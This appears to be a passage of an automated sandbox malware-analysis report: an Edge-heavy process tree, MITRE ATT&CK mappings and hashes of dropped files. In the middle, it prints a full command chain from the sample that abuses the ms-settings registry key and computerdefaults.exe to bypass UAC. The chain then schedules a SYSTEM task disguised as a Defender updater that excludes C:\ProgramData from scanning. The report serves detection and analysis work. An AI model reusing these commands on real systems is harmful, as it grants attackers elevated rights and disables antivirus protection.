      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3732,i,2210433093827824361,17170675436743123298,2097152 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:9
      4⤵
      PID:5032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5404,i,13605801980280076770,3132988314470769930,2097152 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:15
      4⤵
      PID:2812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5728,i,12968336726453866784,16858028742844519634,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,1731751297234482636,15029589558107506293,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
      4⤵
      PID:612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,3034272515828846590,5198669815613153849,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:14
      4⤵
      PID:5272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6412,i,11585665004405309031,2300771421118373401,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:14
      4⤵
      PID:4600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6412,i,11585665004405309031,2300771421118373401,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:14
      4⤵
      PID:2604
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6788,i,13487629510568101128,9993365471666163103,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6772 /prefetch:14
      4⤵
      PID:5360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7004,i,7636893845506137689,3076737250857484607,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6980 /prefetch:14
      4⤵
      PID:4032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,14637477955880481708,6710950265851422534,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:14
      4⤵
      PID:2268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5072,i,9916973173370361153,11009642657441223298,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=4452 /prefetch:14
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,4244871933204277886,4273427155349697329,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:14
      4⤵
      PID:940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5720,i,4893789909875859829,1992224524187253811,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:14
      4⤵
      PID:5540
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3408,i,1801281266202627086,15065587725295714535,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=928 /prefetch:14
      4⤵
      PID:5064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5964,i,9505189688153204491,18249909925303371582,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:14
      4⤵
      PID:3948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5788,i,5473804154802819522,7400624621440418808,262144 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5904 /prefetch:10
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5904,i,519708944027579874,14939629769624004706,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14
      4⤵
      PID:2064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6644,i,10788610792952692670,17920048408301690856,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:4676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3364,i,10035970042471943213,10405151184669953176,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6756 /prefetch:14
      4⤵
      PID:4520
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3348,i,14643636712797329066,14942112939269190866,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=3352 /prefetch:14
      4⤵
      PID:2408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7076,i,4868144282189585562,16560241619811401566,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:14
      4⤵
      PID:3656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7052,i,9089157029285096378,5662546435218856371,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
      4⤵
      PID:3836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5788,i,3560122133253592567,17293771167405577143,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:14
      4⤵
      PID:3396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3492,i,18024043769139726073,1098275283237553367,524288 --field-trial-handle=2612,i,10233783115499772365,5005144654970165194,262144 --variations-seed-version --mojo-platform-channel-handle=2880 /prefetch:14
      4⤵
      PID:1832
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2020
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Classes\..AVACA\Shell\Open\command -ve /d "cmd.exe /c schtasks /create /tn WindowsDefenderUpdater /sc ONCE /sd 01/01/1910 /st 00:00 /rl highest /ru system /tr \"powershell.exe -ExecutionPolicy Unrestricted -C Add-MpPreference -ExclusionPath C:\ProgramData\ -Force\" && schtasks /run /tn WindowsDefenderUpdater" /f& REG ADD HKCU\Software\Classes\ms-settings\CurVer -ve /d "..AVACA" /f & timeout /t 3 >nul & start /MIN computerdefaults.exe
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2728
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Classes\..AVACA\Shell\Open\command -ve /d "cmd.exe /c schtasks /create /tn WindowsDefenderUpdater /sc ONCE /sd 01/01/1910 /st 00:00 /rl highest /ru system /tr \"powershell.exe -ExecutionPolicy Unrestricted -C Add-MpPreference -ExclusionPath C:\ProgramData\ -Force\" && schtasks /run /tn WindowsDefenderUpdater" /f
      4⤵
      Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:1484
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Classes\ms-settings\CurVer -ve /d "..AVACA" /f
      4⤵
      System Location Discovery: System Language Discovery
      Modifies registry class
      Modifies registry key
      PID:3216
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:620
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      computerdefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:6132
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c schtasks /create /tn WindowsDefenderUpdater /sc ONCE /sd 01/01/1910 /st 00:00 /rl highest /ru system /tr "powershell.exe -ExecutionPolicy Unrestricted -C Add-MpPreference -ExclusionPath C:\ProgramData\ -Force" && schtasks /run /tn WindowsDefenderUpdater
        5⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5788
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn WindowsDefenderUpdater /sc ONCE /sd 01/01/1910 /st 00:00 /rl highest /ru system /tr "powershell.exe -ExecutionPolicy Unrestricted -C Add-MpPreference -ExclusionPath C:\ProgramData\ -Force"
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3468
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /tn WindowsDefenderUpdater
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:628

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5452

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Unrestricted -C Add-MpPreference -ExclusionPath C:\ProgramData\ -Force
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c6cefa1e36fc8c458c1103dc425dc7d4774e2a109aed9ce8254e2f005fb9cc99
MD5 ce6d65fb8c0c0020b2525439c0b95194
SHA1 a2e2e5c2fbd1d6df05e8e5aedb7fb4f66906627d
SHA512 5b2ae476b36e7a5d7be156e29405a78d59922fd34a87bb430ddc143f501f55bfeb3b0c1103f165ecc20fb18970c574188e4b078cfc4406a77b6c5f6c8c03c9ae
TLSH
T11AD02B5532102C44C483383B32512221E3109432042401084051F17C4C5C546066F4DF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 27950d40a9551c84ad47cd8133b3dc2562d0cbfb9e6e2862e52b6ffc59465636
MD5 3cdef261498cc0a89a5099917822c668
SHA1 8386a4997ce2ae9e730585e5e657293325681cc6
SHA512 3a8de603951463432923081d35c238e0d798a1d4f2e6ccf76499aa997c2e7f6498ecd60523b96ebdec43384983d689dd047458813137f74e88aba315a69353a7
TLSH
T1F4D02B5932002D44C483383732502221E3209432082401084051B17C4C5C546066F4EF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 da66ab25c9f5dd7bde1002873c1972793a73d6e5bbdba44f024ff82d121e9da3
MD5 9b6268a657dea364a451579778bf93b3
SHA1 d2f696f77af07e2fed0fa68e50863b0e466f438a
SHA512 7b30537e892720004bf8f78481e3182eb67a3fd3dc506c5d07d3d5f366db387390c3f92eb2698ce9d288eafcb4414df0bf46d46022af1052848182798fa9aced
TLSH
T178512F65033747C1E7556FBB63FB78A93B3194AB0D0B9F225054B934983EB6CA442928
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 25646e04d3b7e87c9d8465283b32301a0db636fefa5f5f23a02618a8d1d69a3d
MD5 a1e3af5d60a0b18049a645ef93a590c2
SHA1 6b64fe6ef1b4a0f9682fca73af48096658c6ef82
SHA512 726ac70f53165ace21309fd833dd93501a68805b5631638d971ed639b03b51d9c2ff505ec4fe2792f84f08f89531a55ea87b5383a4c247a0155644e600080a51
TLSH
T15741ACF3C3E4866EC91156F0AB186E2BCE1D0A15432C3D9AC9E4EE5B93E2471E14195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 6c5659e34cacfa06ce824b2bcc0513cdd1d3b90195305fe24380752f385474ff
MD5 9949ca9743ab4eabe80a38d18f13b862
SHA1 8662b05bdb8dec919d6bd9a3ed4a225ce6e7774e
SHA512 b00194d58b83375b9049b3cc438690ad263aad6677647eb7ff2f65637eee5f6d3001c5daa29e3d13469706f1315cf14b95b3ed62b95ca6cd8f4809872d5281dd
SSDEEP 192:sxR5kRnyM/jK1Ml8wCJ/fOslzbXZep9zoA8p4P/g6+WNIYkpOwUiJH7S+GqIgtJ:sxR5kj8J/fOslvpepwu/5IBOAH7S83
TLSH
T15F62FA15AA285977CCDBD20DFA55BF93D6F81577A2901E44AAFCCA0C00E7ADD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 ab36df5fa5feea83777c6df1eb1ca1a812dd0a41f1186f5ca4ff3d3a3f887ea5
MD5 65d5e0a0b84bdc831100399f2201f169
SHA1 995cb717ec129204c48c0591ea94272b88b14445
SHA512 762fc6556bf52c9406d264e939b9e228c6d707bd8018121290ac271635c77197c87e870646f7cfa5bfedd4a57cb789b98964ad65c516c102449813084d99ef47
SSDEEP 192:sxR5fRnyM/jK1Ml8wCJ/fOsgzbXZep9zoA8p4P/g6+WNIYkpOwUiJH7S+GqIgDQJ:sxR5fj8J/fOsgvpepwu/5IBOAH7S8A
TLSH
T10762EA15AA285977CCDBD20DFA55BF93D6F81577A2901E44AAFCCA0C00E76DD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 d4a4baf595b1913a7381b6f7f242fff350c33c335cc0133d93ccc325ab2d742c
MD5 cdc672a62da7c854d520eaf1045a92de
SHA1 a9be3a1c0f6c9c5c7e21a86b566e0527d98a3f84
SHA512 8caf8589d3e450e9d59f3a166e8ad8c2fb8ee4b101767c809ae16262156ac21556061b780ccbb88d0cacec94776273651529ecbad900b20e719e7849f03ddc28
SSDEEP 192:sxR5fRnyM/jK1Ml8UQ0zCJ/fOsgzAXZep9zoA8peP/g6+WNIYkzOwUiJH7S+GqI9:sxR5fjqBJ/fOsgEpepwA/5IbOAH7S8u
TLSH
T16D62D815AA285977DCDBD20DFA45BF93D6F81577A2901E44AAFCCA0C00E6ADD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 987d5c95fb71cfe312b10221a9d22f32220763eca44873afd2c13d9f42b0b37c
MD5 627ba0f9d029f0abae6695ae8a7742b3
SHA1 d25ae9e3e00518127aeb8e55975e87c065ce5e33
SHA512 9668f1242b0f5a747381667e2c58f8bba025e2b07fcb9feaace2f19dd908e66d52d4f56c96225b4467045661ad4dd7846427fd1d32b603606b9f23143102c8b7
SSDEEP 768:ZUwifd7pLuL7aHWgRhf2r8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6WPnxegrol2fuV:ZUwifLE7aHWgRhf2ru1ja1WPxer4uNMG
TLSH
T180E2FC3B680CCB7E4F804ADCEC297D9BADA801CF96D8895447FA895C03C66EF51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 9fe35abab4c9eefe6f5d3fb37a75f626a400ed3de1b298440d7fc25afbeea138
MD5 7d26ecd78a9303d2504d620e00faa310
SHA1 933a330ce3a8b7ba766ff54168b1864a45863d69
SHA512 99e025f895b85928389cd82892d8513cc458a161de59fcdf88ba85bf37d41b914e37e59463e49b76aab796fc1e0a05a55d0ee12b8bb19135362bf5363461d315
SSDEEP 96:KRGbqGAoouWYN1gmuK4bgUucumFE2vHHQ1xHF1ZWBu0g5ZK4wg3Zc/32p1HQ1xHB:CGbqGAoopYN2mGbgUdumFE2vHHQ1xHF2
TLSH
T1FE911804313B02C0797E6549D0B9999A92C2B1A2311DE93F3B6A01D71F67E079EFF8D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5a69d7.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5a69d7.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
